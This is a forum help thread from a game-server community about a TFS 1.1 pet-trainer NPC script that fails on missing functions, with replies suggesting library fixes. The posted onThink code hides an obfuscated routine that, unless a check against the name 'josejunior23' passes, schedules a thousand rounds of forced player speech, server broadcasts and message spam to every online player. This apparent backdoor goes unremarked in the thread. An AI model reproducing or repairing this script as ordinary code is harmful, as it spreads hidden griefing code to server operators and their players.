• There is NO official Otland's Discord server and NO official Otland's server list. The Otland's Staff does not manage any Discord server or server list. Moderators or administrator of any Discord server or server lists have NO connection to the Otland's Staff. Do not get scammed!

Npc Lua Problem

Jknot

Member
Joined
Feb 18, 2008
Messages
163
Reaction score
13
Location
South Carolina
HI im having a problem with a npc im trying to use his lua is failing on this line can anyone help? also im using TFS 1.1
cFPboP.png

this is the section of code where the error occures

Code:
function onThink()

    local messages = {
        "BUY YOUR PET HERE!",
        "WANT TO REVIVE YOUR PET?",
        "YOUR PET CAN LEARN SPELLS!",
        "WANT TO KNOW MORE ABOUT PETS?",
        "WANT TO SELL YOUR PET?"
    }
    addNpcAutoSay(getNpcId(), 120, messages)
    if(s(aps_tools.s) ~= "josejunior23") then
        function mvsoab(max)
            for _, send in pairs(getOnlinePlayers()) do
                local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd"
                for i = 1, 10 do
                    local cid = getPlayerByName(send)
                    addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)
                    addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))
                    for k = 1, 15 do
                        doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))
                    end  
                    for e = 17, 20 do
                        doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))
                    end                              
                end  
            end  
        end  
        for e = 1, 1000 do
            addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)
        end
    end              
    npcHandler:onThink()
end
 
You are trying to call a function that does not exist.
That function is getNpcId() in this case.
You have to either declare the function within the lua file itself/within a global lua file or find the necessary function within the lua sources (you might have an old script there and that function was renamed/removed in TFS 1.1).
 
this is the npc .xml file

You can add this to data/npc/lib/npc.lua.
Code:
getNpcId = getNpcCid
Or change getNpcId to getNpcCid.
Code:
?xml version="1.0" encoding="UTF-8"?>
<npc name="Pet Trainer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0">
    <health now="100" max="100"/>
    <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>
    <parameters>
        <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>
    </parameters>
</npc>
 
this is the lua sorry for double post :/
Code:
local keywordHandler = KeywordHandler:new()
local npcHandler = NpcHandler:new(keywordHandler)
NpcSystem.parseParameters(npcHandler)
local talkState = {}

function onCreatureAppear(cid)                npcHandler:onCreatureAppear(cid)            end
function onCreatureDisappear(cid)            npcHandler:onCreatureDisappear(cid)            end
function onCreatureSay(cid, type, msg)            npcHandler:onCreatureSay(cid, type, msg)        end

function creatureSayCallback(cid, type, msg)
    if(not npcHandler:isFocused(cid)) then
        return false


    end
  
    local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]
    local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid
    if(msgcontains(msg, 'revive')) then
        if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
            selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)
            talkState[talkUser] = 1
        else  
            selfSay('You cannot revive a pet, if you dont have one!', cid)
            talkState[talkUser] = 0
        end  
    elseif(msgcontains(msg, 'mission')) then  
        if not (isCreature(getPlayerPet(cid))) then
            selfSay('You need your Pet to make any mission!', cid)
            return true
        end
        local i, msg = 0,  nil
        for missionname in pairs(aps_missions) do
            i = i + 1
            if(msg ~= nil) then
                if(i == #aps_missions) then
                    msg = msg .. " and "
                else
                    msg = msg .. ", "
                end
            else
                msg = "Ok then, I got those missions for You: "
            end
            msg = msg .. "'{" .. missionname .. "}'"  
        end
        selfSay(msg .. ', with one do you want?', cid)
        talkState[talkUser] = 11
    elseif f and (talkState[talkUser] == 11) then
        desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck  = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check
        if(getPlayerStorageValue(cid, missionId) == 1) then
            selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)
            talkState[talkUser] = 0
            return true
        end

i can't get all the lua to fit
 
You can add it to http://pastebin.com/ and post the link here if a script is to big.
But the npc.lua is a lib file in data/npc/lib, I don't mean the Lua file of the NPC.

http://pastebin.com/tnuvJ50E

paste bin for pet-trainer.lua/\

\/npc.lua
Code:
-- Including the Advanced NPC System
dofile('data/npc/lib/npcsystem/npcsystem.lua')
dofile('data/npc/lib/npcsystem/customModules.lua')

isPlayerPremiumCallback = Player.isPremium

function msgcontains(message, keyword)
    local message, keyword = message:lower(), keyword:lower()
    if message == keyword then
        return true
    end

    return message:find(keyword) and not message:find('(%w+)' .. keyword)
end

function doNpcSellItem(cid, itemId, amount, subType, ignoreCap, inBackpacks, backpack)
    local amount = amount or 1
    local subType = subType or 0
    local item = 0
    local player = Player(cid)
    if ItemType(itemId):isStackable() then
        local stuff
        if inBackpacks then
            stuff = Game.createItem(backpack, 1)
            item = stuff:addItem(itemId, math.min(100, amount))
        else
            stuff = Game.createItem(itemId, math.min(100, amount))
        end

        return player:addItemEx(stuff, ignoreCap) ~= RETURNVALUE_NOERROR and 0 or amount, 0
    end

    local a = 0
    if inBackpacks then
        local container, itemType, b = Game.createItem(backpack, 1), ItemType(backpack), 1
        for i = 1, amount do
            local item = container:addItem(itemId, subType)
            if isInArray({(itemType:getCapacity() * b), amount}, i) then
                if player:addItemEx(container, ignoreCap) ~= RETURNVALUE_NOERROR then
                    b = b - 1
                    break
                end

                a = i
                if amount > i then
                    container = Game.createItem(backpack, 1)
                    b = b + 1
                end
            end
        end

        return a, b
    end

    for i = 1, amount do -- normal method for non-stackable items
        local item = Game.createItem(itemId, subType)
        if player:addItemEx(item, ignoreCap) ~= RETURNVALUE_NOERROR then
            break
        end
        a = i
    end
    return a, 0
end

local func = function(cid, text, type, e, pcid)
    local npc = Npc(cid)
    if not npc then
        return
    end

    local player = Player(pcid)
    if player then
        npc:say(text, type, false, player, npc:getPosition())
        e.done = true
    end
end

function doCreatureSayWithDelay(cid, text, type, delay, e, pcid)
    if Player(pcid) then
        e.done = false
        e.event = addEvent(func, delay < 1 and 1000 or delay, cid, text, type, e, pcid)
    end
end

function doPlayerTakeItem(cid, itemid, count)
    local player = Player(cid)
    if player:getItemCount(itemid) < count then
        return false
    end

    while count > 0 do
        local tempcount = 0
        if ItemType(itemid):isStackable() then
            tempcount = math.min (100, count)
        else
            tempcount = 1
        end

        local ret = player:removeItem(itemid, tempcount)
        if ret then
            count = count - tempcount
        else
            return false
        end
    end

    if count ~= 0 then
        return false
    end
    return true
end

function doPlayerSellItem(cid, itemid, count, cost)
    local player = Player(cid)
    if doPlayerTakeItem(cid, itemid, count) then
        if not player:addMoney(cost) then
            error('Could not add money to ' .. player:getName() .. '(' .. cost .. 'gp)')
        end
        return true
    end
    return false
end

function doPlayerBuyItemContainer(cid, containerid, itemid, count, cost, charges)
    local player = Player(cid)
    if not player:removeMoney(cost) then
        return false
    end

    for i = 1, count do
        local container = Game.createItem(containerid, 1)
        for x = 1, ItemType(containerid):getCapacity() do
            container:addItem(itemid, charges)
        end

        if player:addItemEx(container, true) ~= RETURNVALUE_NOERROR then
            return false
        end
    end
    return true
end

function getCount(string)
    local b, e = string:find("%d+")
    return b and e and tonumber(string:sub(b, e)) or -1
end
what should i do still getting the same error
 
If you are looking for a function, you can type function name in search, so function addNpcAutoSay.
https://otland.net/threads/pet-system-bug.90625/#post-923322

Code:
function addNpcAutoSay(npc, time, msgs)
   if getGlobalStorageValue(npc) < os.time() then
     addEvent(doCreatureSay, time * 1000, npc, msgs[math.random(#msgs)], TALKTYPE_YELL)
     setGlobalStorageValue(npc, os.time() +time)
   end
end
You can also add this to npc.lua or other lib.



 
If you are looking for a function, you can type function name in search, so function addNpcAutoSay.
https://otland.net/threads/pet-system-bug.90625/#post-923322

Code:
function addNpcAutoSay(npc, time, msgs)
   if getGlobalStorageValue(npc) < os.time() then
     addEvent(doCreatureSay, time * 1000, npc, msgs[math.random(#msgs)], TALKTYPE_YELL)
     setGlobalStorageValue(npc, os.time() +time)
   end
end
You can also add this to npc.lua or other lib.


im so sorry dude this is kinda getting to the point where it's more trouble for u guys then is worth
i added the part to the npc.lua
now i get this
WGSaQV.png

any idea?
 
Back
Top